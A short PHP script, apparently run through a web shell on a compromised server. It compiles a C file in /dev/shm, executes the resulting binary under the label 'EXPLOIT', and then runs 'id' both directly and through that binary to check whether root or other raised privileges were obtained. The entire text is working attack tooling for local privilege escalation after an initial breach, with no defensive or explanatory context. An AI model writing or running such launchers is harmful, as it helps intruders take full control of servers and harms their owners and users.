<?php
$out = "";
$h = popen("gcc -O0 -o /dev/shm/df /dev/shm/df.c -lutil 2>&1 && echo 'COMPILE_OK' || echo 'COMPILE_FAIL'", "r");
while(!feof($h)){ $out .= fread($h, 4096); }
pclose($h);
echo "COMPILE: " . $out . "\n";

if(file_exists("/dev/shm/df")){
    chmod("/dev/shm/df", 0755);
    $h = popen("/dev/shm/df 2>&1", "r");
    $out2 = "";
    while(!feof($h)){ $out2 .= fread($h, 4096); }
    pclose($h);
    echo "EXPLOIT: " . $out2 . "\n";
    echo "WHOAMI: " . trim(shell_exec("id 2>/dev/null || /dev/shm/df -c 'id' 2>/dev/null || echo no_id")) . "\n";
}